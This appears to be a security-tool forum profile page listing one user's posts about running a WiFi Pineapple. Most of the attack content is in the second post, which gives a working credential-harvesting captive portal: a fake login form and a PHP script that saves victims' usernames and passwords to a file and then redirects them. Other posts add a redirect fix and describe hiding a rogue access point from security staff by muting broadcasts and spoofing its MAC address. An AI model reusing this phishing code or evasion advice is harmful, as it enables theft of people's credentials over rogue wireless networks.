Jump to content

apkehler

Active Members
  • Posts

    6
  • Joined

  • Last visited

Recent Profile Visitors

263 profile views

apkehler's Achievements

Newbie

Newbie (1/14)

  1. Thanks for the link. I had actually read that thread, but was trying to accomplish my task strictly with php. I tried the following javascript posted by sud0nick: $('.send_info_button').on("click",function(){ $.post('/path/to/script/', {$dataToSend},function(){ window.location = $authtarget; }); }); Interestingly, the post was successful, however the 'window.location' code was never executed. The browser got stuck after executing capture.php. I actually just ended up changing my original code from GET to POST per this thread: https://forums.hak5.org/index.php?/topic/33576-howto-creating-a-simple-captive-portal-for-evil-portal/page-2 Still not sure why Option 1 nor Option 2 worked, but at least I have a working portal now!
  2. OK, I believe I should have everything setup correctly, but something isn't working. I have Evil Portal setup to capture credentials and then redirect to $authtarget. However, when I redirect, it simply goes back to the splash page. Here are my relevant code snippets splash.html <form id="form" method="POST" autocomplete="off" action="http://172.16.42.1/capture.php?redir=$authtarget"> <tr height=20> <td nowrap id="username_field"> USERNAME: </td> <td> <input autocomplete="off" id="user" name="user" style="border:1px solid gray; " value=""> </td> </tr> <tr> <td nowrap id="password"> PASSWORD: </td> <td> <input autocomplete="off" id="password" name="password" style="border:1px solid gray;" type=password> </td> </tr> <tr height=40 align="center"> <td colspan=2 align="middle"> <input style="font-weight: bold; cursor: pointer;" type="submit" name="Login" value="Login" /> </td> </tr> And capture.php <?php $user = $_POST["user"]; $pass = $_POST["password"]; $redir = $_GET["redir"]; $file = fopen("stored.txt", "a"); fwrite($file, $user . ':' . $pass . "\n"); fclose($file); header("Location: " . $redir); ?> When I click "Login", capture.php runs, the creds are stored, but the user is returned to (assuming I originally typed 'www.yahoo.com'): http://172.16.42.1:2050/nodogsplash_auth/?redir=http://172.16.42.1:2050/nodogsplash_auth/?redir=http:/www.yahoo.com/ Where they are once again presented with the login page. Am I doing something wrong? Thanks!
  3. I just received my pineapple as well, so I don't know that can provide an authoritative response, however I can talk about my experience. In regards to 3), I also noticed the duplicate SSIDs showing up on all clients in the area and decided that this was too "loud". What I did was simply turn off Harvester and those went away. I think the AP is still effective because Dogma/Karma/Beacon Response are still responding to probe requests and I'm still seeing devices connecting to my AP without broadcasting them to the world. The other issue I noted, and sorry to hijack the thread, is that the MAC of the Pineapple shows up in tools like "wifi analyzer" as "ORIENT POWER HOME NETWORK", which would certainly tip off any security folks that a rogue AP is set up. So I tried changing the MAC address of the AP so that the first half mimic'd the MAC of a known brand such as Cisco. However, after I changed the MAC through the web interface, I had a heck of a time getting general network connectivity to work. Note that I was in Client-Mode on wlan1 and connected via Ethernet; don't know if those are relevant facts or not. Could someone publish some procedures for changing the MAC on wlan0 without messing up the networking?
  4. OK, I was able to install autossh now. Was still getting the bunny when opening certain infusions. There was a flash update available, so I installed it, reconfigured everything, and now I'm good to go. Thanks for the help!
  5. Cleared the browser cache, reset the pineapple. Problem persists. Guess I'll have to go with a factory reset.
  6. Just got my wifi pineapple and started playing with it. I tried out a few things, got it connected to my wifi, then went to install updates. All but one of the updates installed fine. Then I tried to update autossh v1.5. The screen sat at "Downloading 0%" for hours. I finally rebooted the device. Now when I go into many of the infusions, it sits at "Entropy bunny is working...". I left it like this overnight and it didn't go away. Did I get a bad update? Anything I can do to troubleshoot or rectify the situation? Obviously I tried reboot to no avail. Thanks!
×
×
  • Create New...